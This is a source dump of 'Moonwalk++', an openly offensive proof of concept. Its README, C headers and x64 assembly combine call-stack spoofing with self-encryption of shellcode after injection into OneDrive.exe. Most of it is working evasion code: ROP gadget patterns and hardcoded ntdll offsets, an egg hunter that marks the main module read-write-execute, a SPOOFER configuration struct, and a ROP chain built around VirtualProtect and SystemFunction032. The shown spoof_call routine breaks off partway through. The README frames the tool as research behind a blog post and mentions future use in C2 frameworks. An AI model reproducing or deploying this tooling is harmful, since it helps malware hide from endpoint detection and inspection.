├── Moonwalk-- ├── GetRsp.asm ├── include │ ├── Test.h │ ├── Functions.h │ ├── Spoof.h │ ├── asm │ │ ├── SyntheticSpoofer.asm │ │ └── DesyncSpoofer.asm │ ├── Common.h │ └── AddressHunter.h ├── Moonwalk++.vcxproj.user ├── .gitignore ├── Moonwalk++.vcxproj.filters ├── EggHunter.h ├── mooninject.asm ├── moonreflect.asm ├── Moonwalk++.vcxproj └── Moonlight.cpp ├── LICENSE └── README.md /Moonwalk--/GetRsp.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | get_current_rsp proc 4 | mov rax, rsp 5 | add rax, 8 6 | ret 7 | get_current_rsp endp 8 | 9 | end -------------------------------------------------------------------------------- /Moonwalk--/include/Test.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Windows.h" 3 | 4 | void TestLocateFunctionByAddress(); 5 | void TestLookupByFrameOffset(); 6 | void TestEnumAllRT(DWORD); 7 | void Test(); -------------------------------------------------------------------------------- /Moonwalk--/Moonwalk++.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Moonwalk--/.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | 34 | # Visual Studio Dir 35 | x64 36 | .vs -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, Alessandro Magnosi, Arash Parsa, Athanasios Tserpelis 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /Moonwalk--/Moonwalk++.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | 40 | 41 | Source Files 42 | 43 | 44 | Source Files 45 | 46 | 47 | Source Files 48 | 49 | 50 | -------------------------------------------------------------------------------- /Moonwalk--/include/Functions.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Windows.h" 3 | 4 | #ifdef _DEBUG 5 | #define DPRINTUNWINDCODE(x) { \ 6 | printf("0x%x\t", x->CodeOffset); \ 7 | printf("0x%x\t", x->OpInfo); \ 8 | printf("0x%x\n", x->UnwindOp); \ 9 | } 10 | 11 | #else 12 | #define DPRINTUNWINDCODE(x) {} 13 | #endif 14 | #ifdef _DEBUG 15 | #ifdef _VERBOSE_DEBUG 16 | #define DPRINTCTX(x) { \ 17 | printf("RAX: 0x%llx -", x.Rax); \ 18 | printf("RBX :0x%llx -", x.Rbx); \ 19 | printf("RCX: 0x%llx -", x.Rcx); \ 20 | printf("RDX: 0x%llx -", x.Rdx); \ 21 | printf("RDI: 0x%llx -", x.Rdi); \ 22 | printf("RSI: 0x%llx -", x.Rsi); \ 23 | printf("RBP: 0x%llx -", x.Rbp); \ 24 | printf("RSP: 0x%llx -\n", x.Rsp); \ 25 | printf("R8 : 0x%llx -", x.R8 ); \ 26 | printf("R9 : 0x%llx -", x.R9 ); \ 27 | printf("R10: 0x%llx -", x.R10); \ 28 | printf("R11: 0x%llx -", x.R11); \ 29 | printf("R12: 0x%llx -", x.R12); \ 30 | printf("R13: 0x%llx -", x.R13); \ 31 | printf("R14: 0x%llx -", x.R14); \ 32 | printf("R15: 0x%llx \n", x.R15); \ 33 | printf("RIP: 0x%llx \n", x.Rip); \ 34 | } 35 | #else 36 | #define DPRINTCTX(x) {} 37 | #endif 38 | #else 39 | #define DPRINTCTX(x) {} 40 | #endif 41 | 42 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddress(UINT64, DWORD64); 43 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddressInTable(PRUNTIME_FUNCTION pRuntimeFunctionTable, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD64 functionOffset); 44 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByAddressInRFTable(PRUNTIME_FUNCTION pRuntimeFunctionTable, DWORD rtLastIndex, DWORD64 functionOffset); 45 | PIMAGE_RUNTIME_FUNCTION_ENTRY RTFindFunctionByIndex(UINT64, DWORD); 46 | DWORD GetStackFrameSize(HMODULE, PVOID, DWORD*); 47 | DWORD GetStackFrameSizeWhereRbpIsPushedOnStack(HMODULE, PVOID, DWORD*); 48 | DWORD GetStackFrameSizeIgnoringUwopSetFpreg(HMODULE, PVOID, DWORD*); 49 | void PrintUnwindInfo(HMODULE, PVOID); 50 | void LookupSymbolFromRTIndex(HMODULE, int, bool); 51 | void EnumAllRTFunctions(HMODULE); 52 | DWORD FindRTFunctionsUnwind(HMODULE, PVOID); 53 | BOOL SearchFrameWithinModule(DLL current, PERF* pCurrentFrameFunction, UINT64 puCalledFunctionAddress, DWORD gadgetType); 54 | 55 | 56 | VOID FindGadget(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD skip, DWORD gadgetType); 57 | DWORD FindProlog(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD64 rtTargetOffset); 58 | DWORD FindPushRbp(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD skip, PDWORD64 rtTargetOffset); 59 | DWORD FindCallInstructionOffset(uint64_t startAddress, DWORD limit); 60 | 61 | typedef int(WINAPI* getcharType)(); -------------------------------------------------------------------------------- /Moonwalk--/EggHunter.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | HMODULE GetMainModule(HANDLE hProcess) 7 | { 8 | HMODULE mainModule = NULL; 9 | HMODULE* lphModule; 10 | LPBYTE lphModuleBytes; 11 | DWORD lpcbNeeded; 12 | 13 | // First call needed to know the space (bytes) required to store the modules' handles 14 | BOOL success = EnumProcessModules(hProcess, NULL, 0, &lpcbNeeded); 15 | 16 | // We already know that lpcbNeeded is always > 0 17 | if (!success || lpcbNeeded == 0) 18 | { 19 | printf("[-] Error enumerating process modules\n"); 20 | // At this point, we already know we won't be able to dyncamically 21 | // place the syscall instruction, so we can exit 22 | exit(1); 23 | } 24 | // Once we got the number of bytes required to store all the handles for 25 | // the process' modules, we can allocate space for them 26 | lphModuleBytes = (LPBYTE)LocalAlloc(LPTR, lpcbNeeded); 27 | 28 | if (lphModuleBytes == NULL) 29 | { 30 | printf("[-] Error allocating memory to store process modules handles\n"); 31 | exit(1); 32 | } 33 | unsigned int moduleCount; 34 | 35 | moduleCount = lpcbNeeded / sizeof(HMODULE); 36 | lphModule = (HMODULE*)lphModuleBytes; 37 | 38 | success = EnumProcessModules(hProcess, lphModule, lpcbNeeded, &lpcbNeeded); 39 | 40 | if (!success) 41 | { 42 | printf("[-] Error enumerating process modules\n"); 43 | exit(1); 44 | } 45 | 46 | // Finally storing the main module 47 | mainModule = lphModule[0]; 48 | 49 | // Avoid memory leak 50 | LocalFree(lphModuleBytes); 51 | 52 | // Return main module 53 | return mainModule; 54 | } 55 | 56 | BOOL GetMainModuleInformation(PULONG64 startAddress, PULONG64 length) 57 | { 58 | HANDLE hProcess = GetCurrentProcess(); 59 | HMODULE hModule = GetMainModule(hProcess); 60 | MODULEINFO mi; 61 | 62 | GetModuleInformation(hProcess, hModule, &mi, sizeof(mi)); 63 | 64 | printf("Base Address: 0x%llu\n", (ULONG64)mi.lpBaseOfDll); 65 | printf("Image Size: %u\n", (ULONG)mi.SizeOfImage); 66 | printf("Entry Point: 0x%llu\n", (ULONG64)mi.EntryPoint); 67 | printf("\n"); 68 | 69 | *startAddress = (ULONG64)mi.lpBaseOfDll; 70 | *length = (ULONG64)mi.SizeOfImage; 71 | 72 | DWORD oldProtect; 73 | VirtualProtect(mi.lpBaseOfDll, mi.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProtect); 74 | 75 | return 0; 76 | } 77 | 78 | PVOID GetAddressAfterEgg(DWORD64 egg1, DWORD64 egg2) 79 | { 80 | 81 | ULONG64 startAddress = 0; 82 | ULONG64 size = 0; 83 | 84 | GetMainModuleInformation(&startAddress, &size); 85 | 86 | if (size <= 0) { 87 | printf("[-] Error detecting main module size"); 88 | exit(1); 89 | } 90 | 91 | ULONG64 currentOffset = 0; 92 | 93 | printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset); 94 | 95 | while (currentOffset < size - 8) 96 | { 97 | currentOffset++; 98 | LPVOID currentAddress = (LPVOID)(startAddress + currentOffset); 99 | 100 | if (*(DWORD64*)((ULONG64)startAddress + currentOffset) == egg1 && *(DWORD64*)((ULONG64)startAddress + currentOffset + 8) == egg2) 101 | { 102 | printf("Found at %llu\n", (ULONG64)currentAddress); 103 | break; 104 | } 105 | 106 | } 107 | printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset); 108 | return (PVOID)((ULONG64)startAddress + currentOffset + 0x10); 109 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Moonwalk++ 2 | 3 | PoC Implementation combining Stack Moonwalking and Memory Encryption. 4 | 5 | ## TL;DR 6 | 7 | Moonwalk++ is a PoC implementation of an enahnced version of [StackMoonwalk](https://github.com/klezVirus/SilentMoonwalk), which combines its original technique to remove the caller from the call stack, with a memory self-encryption routine, using ROP to both desynchronize unwinding from control flow and simultaneously encrypt the executing shellcode to hide it from inpection. 8 | 9 | **Read more in the Blog Post:** [Malware Just Got Its Free Passes Back!](https://klezvirus.github.io/posts/Moonwalk-plus-plus/). 10 | 11 | ## Is it Moonwalk++? (or minus minus --?) 12 | 13 | GitHub will not allow the name to contain `+`, so well, it is named `--` but should have been `++`. Give or take, who cares? 14 | 15 | ## Overview 16 | 17 | This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs, while simultanously encrypt the executing shellcode. 18 | 19 | An extensive overview of the technique and why it was developed can be read [here](https://klezvirus.github.io/posts/Moonwalk-plus-plus/). 20 | 21 | This POC was made to work ONLY when injecting to `OneDrive.exe`. As such, in order to replicate its behaviour, you would need to ensure OneDrive is installed and running. Afterwards, retrieve one of the PID the program instantiates: 22 | 23 | ```powershell 24 | (Get-Process OneDrive) | ForEach-Object {Write-Host $_.Id} 25 | ``` 26 | 27 | And provide the tool with one of them: 28 | 29 | ```bash 30 | Moonwalk++ 31 | ``` 32 | 33 | ### Injection 34 | 35 | The POC is expecting a PID of `OneDrive.exe` to be provided as a CLI argument. The first frame is selected from the `OneDrive.exe` executable loaded from a well-defined location (i.e. `C:\Program Files\Microsoft OneDrive\OneDrive.exe`) 36 | 37 | ### OPSEC.. what? 38 | 39 | This proof of concept has minimal operational security and is intentionally rough. Its primary purpose is to substantiate the theoretical claims discussed in the blog post [Malware Just Got Its Free Passes Back!](https://klezvirus.github.io/posts/Moonwalk-plus-plus/). 40 | 41 | ## Execute 42 | 43 | Careful when testing! The Loader will cause OneDrive to pop a MessageBox, but the popup may not be visible immediately, and if you keep going with the loader BEFORE cliclicking on the "OK" button of MessageBox, it will crash the process! The correct execution order is: 44 | 45 | 1. Execute moonwalk (print first messages) 46 | 2. Check that all the gadgets have been correctly identified 47 | 3. Press Enter to Execute once 48 | 4. At this stage, an Icon in the TaskBar (OneDrive Directory) should have apepared, click on it, it will reveal the MessageBox popup 49 | 5. Click OK on the MessageBox so the Thread can return and execute the appropriate decryption chains 50 | 6. Now go back to the Moonwalk console and you can repeat the process 51 | 52 | ## Build 53 | 54 | In order to build the POC and observe a similar behaviour to the one in the picture, ensure to: 55 | 56 | * Disable GS (`/GS-`) 57 | * Disable Code Optimisation (`/Od`) 58 | * Disable Whole Program Optimisation (Remove `/GL`) 59 | * Disable size and speed preference (Remove `/Os`, `/Ot`) 60 | * **Enable** intrinsic if not enabled (`/Oi`) 61 | 62 | ## Previous Work and Credits 63 | 64 | Check [SilentMoowalk#PreviousWork](https://github.com/klezVirus/SilentMoonwalk?tab=readme-ov-file#previous-work). 65 | 66 | ## Technical Notes (17/12/2025) 67 | 68 | * For this specific POC, I used some very, very specific gadget `wininet.dll` to bypass Eclipse. This gadget is not found in all builds and is version dependent. I extended the check to ensure that if there is a compatible gadget is going to be used. 69 | * In a similar way, the Big Stack Pivot gadget in KernelBase `ADD RSP, 0x1538`had a similar limitation. To make this more stable I updated the POC to dynamically search a general BIG pattern in multiple DLLs and dynamically extract the size. Any size bigger than 0x500 bytes is considered fine by the POC. 70 | * Another bug I was notified about pertained to the `SetThreadContext` API. On certain machines, I had to use a non-volatile register to pass the references to the SPOOFER configuration while hijacking the thread context. 71 | 72 | Big thanks to [Samir Bousseaden](https://x.com/SBousseaden) for notifing the issues! 73 | 74 | ## Additional Notes 75 | 76 | * This POC was made only to support and proof the feasibility to combine Stack Moonwalk and Memory Encryption. As the previous POC (SilentMoonwalk), it is not production ready and needs a lot of testing before integrating into C2 frameworks or similar. Use at your own risk. 77 | * I'm not planning extensions for this technique, at least for now. 78 | -------------------------------------------------------------------------------- /Moonwalk--/include/Spoof.h: -------------------------------------------------------------------------------- 1 | #include "Common.h" 2 | 3 | #define JMP_PTR_RBX 9215 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215 4 | #define JMP_RBX 0xe3ff // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215 5 | #define JMP_RBP 0x000065ff // 3 bytes, appended 0 for DWORD , needs shifting on compare 6 | #define JMP_RDI 0x27ff // 0xff 0x27 --> reversed 0x23 0xff --> to Integer 9215 7 | #define JMP_RSI 0x26ff // 0xff 0x26 --> reversed 0x23 0xff --> to Integer 9215 8 | #define JMP_R12 0x2424ff41 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215 9 | #define JMP_R13 0x0065ff41 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215 10 | #define JMP_R14 0x0026ff41 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215 11 | #define JMP_R15 0x0027ff41 // 0xff 0x23 --> reversed 0x23 0xff --> to Integer 9215 12 | #define ADD_RSP_0x38 952402760 // 4883C438 --> reversed 38C48348 --> to Integer 952402760 13 | #define ADD_RSP_0x28 0xccccc328c4834840 // \x40\x48\x83\xc4\x28\xc3 --> to Integer 952402760 14 | #define RET 0xc3 // One byte, no conversion needed 15 | #define ADD_RSP_0x80 2160361800 // 4881C480 + 000000C3 --> reversed 80C48148 and C3000000 --> to Integer 2160361800 and 3271557120 16 | #define RET_ 0xc300000 // 4 bytes, RET + 3 bytes of ADD_RSP_0x80 17 | #define CALL_NEAR 0xe8 // 1 bytes, 0xe8 + 4 bytes offset 18 | #define CALL_NEAR_QPTR 0xff15 // 2 bytes, 0xff 0x15 -> reversed + 4 bytes offset 19 | #define CALL_FAR_QPTR 0x0015ff48 // 3 bytes, appended 0 for DWORD , needs shifting on compare - 0x48 0xff 0x15 -> reversed + 4 bytes offset 20 | #define XCHG_RAX_R8 0xc30000007fb89049 // 8 bytes -> reversed 21 | #define POP_RAX 0x58 // 8 bytes -> reversed 22 | #define POP_RCX 0x59 // 8 bytes -> reversed 23 | #define POP_RDX 0x5a // 8 bytes -> reversed 24 | #define PUSH_RBX 0xc353 // 8 bytes -> reversed 25 | 26 | #define POP_RDX_OFFSET 0x01f9a // ntdll + offset 27 | #define POP_RCX_R8_R9_R10_R11_OFFSET 0x8e9d1 // ntdll + offset 28 | #define ADD_RSP_0x28_OFFSET 0x2f88e // ntdll + offset 29 | #define MOV_RSP_R11_OFFSET 0xef01b // ntdll + offset 30 | #define SUPER_ADD_RSP_GADGET_OFFSET 0x8635b // kernelbase + offset 31 | 32 | 33 | typedef struct 34 | { 35 | 36 | /* POINTERS */ 37 | 38 | // 0x00 39 | PVOID CodeBaseAddress; 40 | PVOID SystemFunction032Address; 41 | // 0x10 42 | PVOID VirtualProtectAddress; 43 | PVOID OldProtection; 44 | // 0x20 45 | PVOID PopRdxGadget; 46 | PVOID PopRegsGadget; 47 | // 0x30 48 | PVOID AddRsp28Gadget; 49 | PVOID MovRspR11Gadget; 50 | // 0x40 51 | PVOID FirstFrameFunctionPointer; 52 | PVOID SecondFrameFunctionPointer; 53 | // 0x50 54 | PVOID JmpRbxGadget; 55 | PVOID AddRspXGadget; 56 | // 0x60 57 | /* SIZES / OFFSETS */ 58 | UINT64 CodeBaseSize; 59 | 60 | UINT64 FirstFrameSize; 61 | // 0x70 62 | UINT64 FirstFrameRandomOffset; 63 | UINT64 SecondFrameSize; 64 | // 0x80 65 | UINT64 SecondFrameRandomOffset; 66 | 67 | UINT64 JmpRbxGadgetFrameSize; 68 | // 0x90 69 | UINT64 AddRspXGadgetFrameSize; 70 | 71 | PVOID KeyStructPointer; 72 | // 0xA0 73 | PVOID DataStructPointer; 74 | 75 | /* FRAME OFFSET */ 76 | UINT64 StackOffsetWhereRbpIsPushed; 77 | // 0xB0 78 | 79 | /* OTHERS */ 80 | PVOID JmpRbxGadgetRef; 81 | PVOID SpoofFunctionPointer; 82 | // 0xC0 83 | PVOID ReturnAddress; 84 | 85 | /* SPOOFED FOUNCTION NUMBER OF PARAMETERS */ 86 | UINT64 Nargs; 87 | /* SPOOFED FOUNCTION PARAMETERS */ 88 | PVOID Arg01; 89 | PVOID Arg02; 90 | PVOID Arg03; 91 | PVOID Arg04; 92 | PVOID Args[20]; 93 | 94 | // 0x190 95 | PVOID SuperAddRspGadget; 96 | UINT64 SuperAddRspGadgetSize; 97 | // 0x1A0 98 | UINT64 TotalStackSize; 99 | PVOID RetGadget; 100 | 101 | // 0x1B0 102 | UCHAR Key[40]; 103 | // 1D8 104 | USTRING KeyStruct; 105 | // 1F8 106 | USTRING DataStruct; 107 | 108 | CHAR Title[40]; 109 | CHAR Message[40]; 110 | 111 | 112 | } SPOOFER, * PSPOOFER; 113 | 114 | VOID PrintConfig(PSPOOFER sConfig) { 115 | 116 | printf("[CodeBaseAddress] - 0x%I64x\n", sConfig->CodeBaseAddress); 117 | printf("[SystemFunction032Address] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x8)); 118 | printf("[VirtualProtectAddress] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x10)); 119 | printf("[OldProtection] - 0x%I64x\n", sConfig->OldProtection); 120 | printf("[PopRdxGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x20)); 121 | printf("[PopRegsGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x28)); 122 | printf("[AddRsp28Gadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x30)); 123 | printf("[MovRspR11Gadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x38)); 124 | printf("[FirstFrameFunctionPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x40)); 125 | printf("[SecondFrameFunctionPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x48)); 126 | printf("[JmpRbxGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x50)); 127 | printf("[AddRspXGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x58)); 128 | printf("[CodeBaseSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x60)); 129 | printf("[FirstFrameSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x68)); 130 | printf("[FirstFrameRandomOffset] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x70)); 131 | printf("[SecondFrameSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x78)); 132 | printf("[SecondFrameRandomOffset] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x80)); 133 | printf("[JmpRbxGadgetFrameSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x88)); 134 | printf("[AddRspXGadgetFrameSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x90)); 135 | printf("[KeyStructPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x98)); 136 | printf("[DataStructPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xa0)); 137 | printf("[StackOffsetWhereRbpIsPushed] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xa8)); 138 | printf("[JmpRbxGadgetRef] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xb0)); 139 | printf("[SpoofFunctionPointer] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xb8)); 140 | printf("[ReturnAddress] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xc0)); 141 | 142 | printf("[Nargs] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xc8)); 143 | printf("[Arg01] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xd0)); 144 | printf("[Arg02] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xd8)); 145 | printf("[Arg03] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xe0)); 146 | printf("[Arg04] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0xe8)); 147 | 148 | for (int i = 0; i < 20; i++){ 149 | printf("[Arg%02d] - 0x%I64x\n", i, *(UINT64*)((CHAR*)sConfig + 0xf0 + (i * 8))); 150 | } 151 | 152 | printf("[SuperAddRspGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x190)); 153 | printf("[SuperAddRspGadgetSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x198)); 154 | printf("[TotalStackSize] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x1A0)); 155 | printf("[RetGadget] - 0x%I64x\n", *(UINT64*)((CHAR*)sConfig + 0x1A8)); 156 | printf("[Key[40]] - %s\n", (UINT64)sConfig + 0x1B0); 157 | 158 | printf("[KeyStruct] - 0x%04x, 0x%04x, 0x%I64x\n", sConfig->KeyStruct.Length, sConfig->KeyStruct.MaximumLength, sConfig->KeyStruct.Buffer); 159 | printf("[DataStruct] - 0x%04x, 0x%04x, 0x%I64x\n", sConfig->DataStruct.Length, sConfig->DataStruct.MaximumLength, sConfig->DataStruct.Buffer); 160 | 161 | printf("[Title[40]] - %s\n", (UINT64)sConfig + 0x1F8); 162 | printf("[Message[40]] - %s\n", (UINT64)sConfig + 0x220); 163 | 164 | } 165 | 166 | 167 | VOID SpoofCallStack(PSPOOFER); 168 | EXTERN_C PVOID spoof_call(PSPOOFER sConfig); 169 | EXTERN_C PVOID get_current_rsp(); 170 | 171 | void research_main(); 172 | void main_main(); 173 | 174 | DWORD _Hton(DWORD value) 175 | { 176 | PUCHAR s = (PUCHAR)&value; 177 | return (DWORD)(s[0] << 24 | s[1] << 16 | s[2] << 8 | s[3]); 178 | 179 | } -------------------------------------------------------------------------------- /Moonwalk--/mooninject.asm: -------------------------------------------------------------------------------- 1 | ; ------------------------------------------------------------------------------------ 2 | ; 3 | ; Author : klezVirus 2023 4 | ; Twitter : https://twitter.com/klezVirus 5 | ; ------------------------------------------------------------------------------------ 6 | ; ------------------------------------------------------------------------------------ 7 | 8 | spoof_call proto 9 | restore proto 10 | 11 | .code 12 | 13 | spoof_call proc 14 | ; ------------------------------------------------------------------------------------ 15 | ; Saving non-vol registers 16 | ; ------------------------------------------------------------------------------------ 17 | ; int 3 18 | mov rax, rsp 19 | mov [rsp+08h], rbp 20 | mov [rsp+10h], rbx 21 | mov rcx, r15 22 | mov r11, rcx 23 | xor r15, r15 24 | 25 | mov [rcx+0C0h], rax 26 | ; ------------------------------------------------------------------------------------ 27 | ; Creating a stack reference to the JMP RBX gadget 28 | ; ------------------------------------------------------------------------------------ 29 | mov rbx, [rcx+050h] 30 | mov [rsp+18h], rbx 31 | mov rbx, rsp 32 | add rbx, 18h 33 | mov [rcx+0b0h], rbx 34 | ; ------------------------------------------------------------------------------------ 35 | ; Prolog 36 | ; RBP -> Keeps track of original Stack 37 | ; RSP -> Desync Stack for Unwinding Info 38 | ; ------------------------------------------------------------------------------------ 39 | ; Note: Everything between RSP and RBP is our new stack frame for unwinding 40 | ; ------------------------------------------------------------------------------------ 41 | mov rbp, rsp 42 | ; ------------------------------------------------------------------------------------ 43 | ; Creating Restore Rop Chain 44 | ; ------------------------------------------------------------------------------------ 45 | 46 | ; int 3 47 | push rbp 48 | push r12 49 | push r13 50 | push r14 51 | push r15 52 | push [r11+038h] 53 | 54 | mov rbp, rsp 55 | add rbp, 8 56 | push rbp 57 | sub rbp, 8 58 | push r10 59 | push r9 60 | push r8 61 | push rcx 62 | push [r11+028h] 63 | 64 | push rdx 65 | push [r11+020h] 66 | sub rsp, 028h 67 | push [r11+030h] 68 | sub rsp, 028h 69 | push [r11+030h] 70 | 71 | ; Virtual Protect 72 | push [r11+010h] 73 | push 1 ; r11 74 | push 1 ; r10 75 | push [r11+018h] ; r9 76 | push 020h ; r8 77 | push [r11+00h] ; rcx 78 | push [r11+028h] 79 | push [r11+060h] ; rdx 80 | push [r11+020h] 81 | sub rsp, 028h 82 | push [r11+030h] 83 | ; SystemFunction032 84 | push [r11+08h] 85 | push 1 ; r11 86 | push 1 ; r10 87 | push 1 ; r9 88 | push 1 ; r8 89 | push qword ptr [r11+0a0h] 90 | push qword ptr [r11+028h] 91 | push qword ptr [r11+098h] 92 | push qword ptr [r11+020h] 93 | 94 | sub rsp, 028h 95 | push [r11+030h] 96 | ; Virtual Protect 97 | push [r11+010h] 98 | push 1 ; r11 99 | push 1 ; r10 100 | push [r11+018h] ; r9 101 | push 040h ; r8 102 | push [r11+00h] ; rcx 103 | push [r11+028h] 104 | push [r11+060h] ; rdx 105 | push [r11+020h] 106 | 107 | ; Now RBX contains the stack pointer to Restore ROP CHAIN on the stack 108 | ; -> Will be called by the push RBX; ret gadget 109 | 110 | mov rbx, [rcx+198h] 111 | sub rbx, [rcx+1A0h] 112 | 113 | _check_space: 114 | test rbx, rbx 115 | jnz _allocate_ret 116 | jmp _allocated_ret 117 | 118 | _allocate_ret: 119 | push [rcx+1A8h] 120 | sub rbx, 8 121 | jmp _check_space 122 | 123 | _allocated_ret: 124 | push [rcx+190h] 125 | mov rbx, [rsp] 126 | 127 | ; ------------------------------------------------------------------------------------ 128 | ; Starting Frames Tampering 129 | ; ------------------------------------------------------------------------------------ 130 | ; First Frame (SET_FPREG frame) 131 | ; ------------------------------------------------------------------------------------ 132 | ; int 3 133 | mov rax, gs:[60h] ; RAX = pointer to PEB 134 | mov rax, [rax + 10h] ; RAX = ImageBaseAddress 135 | add rax, qword ptr [rcx+040h] 136 | push rax 137 | xor rax, rax 138 | mov rax, [rcx+070h] 139 | add qword ptr [rsp], rax 140 | 141 | mov rax, [rcx+0c0h] 142 | sub rax, [rcx+068h] 143 | 144 | sub rsp, [rcx+078h] 145 | mov r10, [rcx+0a8h] 146 | mov [rsp+r10], rax 147 | ; ------------------------------------------------------------------------------------ 148 | ; Second Frame (PUSH_NONVOL RBP) 149 | ; ------------------------------------------------------------------------------------ 150 | push [rcx+048h] 